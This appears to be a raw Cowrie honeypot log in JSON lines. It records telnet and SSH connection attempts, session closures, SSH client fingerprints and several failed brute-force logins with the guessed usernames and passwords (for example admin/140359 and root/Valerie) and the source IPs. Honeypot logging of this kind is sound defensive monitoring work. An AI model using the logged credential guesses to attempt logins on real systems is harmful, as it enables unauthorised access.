{"eventid":"cowrie.session.closed","duration":33.509281873703,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:48.508606Z","src_ip":"62.210.97.77","session":"91ff8c68214b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140359","message":"login attempt [admin/140359] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:48.657472Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:48.723295Z","src_ip":"80.94.92.182","session":"4a8e11e35314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14031995","message":"login attempt [admin/14031995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:49.765020Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14031976","message":"login attempt [admin/14031976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:50.872235Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:51.979403Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41504,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ce2bb556cc0","protocol":"telnet","message":"New connection: 65.60.27.33:41504 (10.17.0.5:23) [session: 3ce2bb556cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:54.772039Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Valerie","message":"login attempt [root/Valerie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:55.335135Z","src_ip":"213.209.159.158","session":"d8585874e4c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":27627,"dst_ip":"159.203.135.109","dst_port":22,"session":"559e690fff14","protocol":"ssh","message":"New connection: 89.218.69.66:27627 (159.203.135.109:22) [session: 559e690fff14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:55.346574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:55.351429Z","src_ip":"89.218.69.66","session":"559e690fff14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43550,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d87faa3dbf","protocol":"telnet","message":"New connection: 165.232.131.181:43550 (10.17.0.5:23) [session: 44d87faa3dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:55.492131Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:55.567916Z","src_ip":"89.218.69.66","session":"559e690fff14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53218,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c0e48294031","protocol":"telnet","message":"New connection: 165.232.131.181:53218 (10.17.0.5:23) [session: 5c0e48294031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:57.634336Z"}
{"eventid":"cowrie.session.closed","duration":0.0821232795715332,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:57.716327Z","src_ip":"165.232.131.181","session":"5c0e48294031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55418,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de6c8f31a40","protocol":"telnet","message":"New connection: 165.232.131.181:55418 (10.17.0.5:23) [session: 8de6c8f31a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:58.126050Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:58.550588Z","src_ip":"213.209.159.158","session":"d8585874e4c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37764,"dst_ip":"10.17.0.5","dst_port":22,"session":"9829a5d9287c","protocol":"ssh","message":"New connection: 213.209.159.158:37764 (10.17.0.5:22) [session: 9829a5d9287c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:58.633070Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"tester","message":"login attempt [ftpuser/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:58.995620Z","src_ip":"89.218.69.66","session":"559e690fff14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57684,"dst_ip":"10.17.0.5","dst_port":23,"session":"967e0abb5187","protocol":"telnet","message":"New connection: 62.210.97.77:57684 (10.17.0.5:23) [session: 967e0abb5187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:59.410986Z"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:00.215206Z","src_ip":"89.218.69.66","session":"559e690fff14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48500,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c7b4a8675c0","protocol":"telnet","message":"New connection: 65.60.27.33:48500 (10.17.0.5:23) [session: 2c7b4a8675c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:00.942631Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53912,"dst_ip":"10.17.0.5","dst_port":23,"session":"3666edac0ff8","protocol":"telnet","message":"New connection: 165.232.131.181:53912 (10.17.0.5:23) [session: 3666edac0ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:01.132856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:01.174546Z","src_ip":"213.209.159.158","session":"9829a5d9287c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:01.178912Z","src_ip":"213.209.159.158","session":"9829a5d9287c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54504,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ba053b5f0a","protocol":"telnet","message":"New connection: 165.232.131.181:54504 (10.17.0.5:23) [session: d8ba053b5f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:02.572471Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51444,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfbaf651eff4","protocol":"telnet","message":"New connection: 165.232.131.181:51444 (10.17.0.5:23) [session: bfbaf651eff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:03.942750Z"}
{"eventid":"cowrie.session.closed","duration":46.62862300872803,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:04.534759Z","src_ip":"165.232.131.181","session":"1598d661b9f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70989203453064,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:04.616118Z","src_ip":"62.210.97.77","session":"23bff569fa8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57690,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73ec69ce443","protocol":"telnet","message":"New connection: 62.210.97.77:57690 (10.17.0.5:23) [session: e73ec69ce443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:05.493556Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57700,"dst_ip":"10.17.0.5","dst_port":23,"session":"5361839bd9d6","protocol":"telnet","message":"New connection: 62.210.97.77:57700 (10.17.0.5:23) [session: 5361839bd9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:06.238219Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vby0EjyDqf","message":"login attempt [root/Vby0EjyDqf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:10.664351Z","src_ip":"213.209.159.158","session":"9829a5d9287c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7ae15b14061","protocol":"telnet","message":"New connection: 165.232.131.181:59378 (10.17.0.5:23) [session: f7ae15b14061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:12.049361Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44148,"dst_ip":"10.17.0.5","dst_port":23,"session":"22fa886c327c","protocol":"telnet","message":"New connection: 62.210.97.77:44148 (10.17.0.5:23) [session: 22fa886c327c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:12.397569Z"}
{"eventid":"cowrie.session.closed","duration":39.46188521385193,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:12.763586Z","src_ip":"62.210.97.77","session":"6ef98d6f2360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3252084255218506,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:13.374409Z","src_ip":"165.232.131.181","session":"f7ae15b14061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:14.220946Z","src_ip":"213.209.159.158","session":"9829a5d9287c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49980,"dst_ip":"10.17.0.5","dst_port":22,"session":"1518391b6f30","protocol":"ssh","message":"New connection: 213.209.159.158:49980 (10.17.0.5:22) [session: 1518391b6f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:14.316784Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44164,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67f6008ede0","protocol":"telnet","message":"New connection: 62.210.97.77:44164 (10.17.0.5:23) [session: a67f6008ede0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:16.486609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:16.530960Z","src_ip":"213.209.159.158","session":"1518391b6f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:16.534999Z","src_ip":"213.209.159.158","session":"1518391b6f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.302994012832642,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:17.245603Z","src_ip":"165.232.131.181","session":"bfbaf651eff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.27916860580444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:17.822996Z","src_ip":"62.210.97.77","session":"ce634189e1a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51900,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7237470fb56","protocol":"telnet","message":"New connection: 62.210.97.77:51900 (10.17.0.5:23) [session: a7237470fb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:18.886658Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":42886,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e5bbcdcb26","protocol":"telnet","message":"New connection: 49.88.156.34:42886 (10.17.0.5:23) [session: 11e5bbcdcb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:19.583985Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44174,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc663afec0cb","protocol":"telnet","message":"New connection: 62.210.97.77:44174 (10.17.0.5:23) [session: dc663afec0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:20.523751Z"}
{"eventid":"cowrie.session.closed","duration":44.17722964286804,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:20.550141Z","src_ip":"165.232.131.181","session":"c490107ed141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51906,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4562d545fcf","protocol":"telnet","message":"New connection: 62.210.97.77:51906 (10.17.0.5:23) [session: b4562d545fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:21.794142Z"}
{"eventid":"cowrie.session.closed","duration":39.66098713874817,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:22.288671Z","src_ip":"65.60.27.33","session":"6d9d450187ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.498125314712524,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:23.273004Z","src_ip":"65.60.27.33","session":"3d7869291e68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35054,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cfb248be585","protocol":"telnet","message":"New connection: 165.232.131.181:35054 (10.17.0.5:23) [session: 2cfb248be585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:25.049134Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"UYZmuv27","message":"login attempt [root/UYZmuv27] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:26.216452Z","src_ip":"213.209.159.158","session":"1518391b6f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36436,"dst_ip":"10.17.0.5","dst_port":23,"session":"84d70a16d959","protocol":"telnet","message":"New connection: 165.232.131.181:36436 (10.17.0.5:23) [session: 84d70a16d959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:27.606816Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:29.575549Z","src_ip":"213.209.159.158","session":"1518391b6f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37354,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcf8d38b715d","protocol":"ssh","message":"New connection: 213.209.159.158:37354 (10.17.0.5:22) [session: fcf8d38b715d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:29.655191Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55654,"dst_ip":"10.17.0.5","dst_port":23,"session":"342f296feaba","protocol":"telnet","message":"New connection: 62.210.97.77:55654 (10.17.0.5:23) [session: 342f296feaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:29.734674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:31.734445Z","src_ip":"213.209.159.158","session":"fcf8d38b715d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:31.738297Z","src_ip":"213.209.159.158","session":"fcf8d38b715d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8d749de21a","protocol":"telnet","message":"New connection: 165.232.131.181:35728 (10.17.0.5:23) [session: 5b8d749de21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:36.526789Z"}
{"eventid":"cowrie.session.closed","duration":0.004899024963378906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:36.531539Z","src_ip":"165.232.131.181","session":"5b8d749de21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.48891520500183,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:36.662603Z","src_ip":"65.60.27.33","session":"61b129f6da08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377399682998657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:37.615502Z","src_ip":"62.210.97.77","session":"5361839bd9d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.430508852005005,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:37.923938Z","src_ip":"62.210.97.77","session":"e73ec69ce443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39738,"dst_ip":"10.17.0.5","dst_port":23,"session":"02cf8dbe754c","protocol":"telnet","message":"New connection: 165.232.131.181:39738 (10.17.0.5:23) [session: 02cf8dbe754c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:38.211565Z"}
